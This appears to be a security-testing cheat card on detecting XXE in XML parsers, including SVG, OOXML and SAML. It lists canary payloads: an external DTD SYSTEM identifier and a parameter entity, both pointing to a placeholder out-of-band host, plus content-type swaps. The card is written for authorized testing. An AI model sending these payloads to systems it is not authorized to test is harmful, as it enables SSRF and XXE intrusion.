XXE parser still fetches
Prove the parser resolves an external identifier with a canary. Do not file-read or hit metadata first.
Tags: xxe, ssrf, saml, xml
Techniques
External DTD canary
SYSTEM identifier to a unique OAST URL. One parser surface, one ID.
<!DOCTYPE x SYSTEM "https://UNIQUE.oast/xxe-probe">
Parameter entity
If simple SYSTEM is blocked, a parameter entity in a DTD you host is the next authorized discriminator.
<!ENTITY % dtd SYSTEM "https://UNIQUE.oast/xxe.dtd"> %dtd;
Content-type swap
JSON APIs that still accept application/xml or text/xml on the same path.
Content-Type: application/xmlContent-Type: text/xml
SVG / OOXML / SAML
The XML is inside a zip or a SAML envelope. Test those parsers separately.
SVG upload with an external entitySAML ACS XML with a canary DTD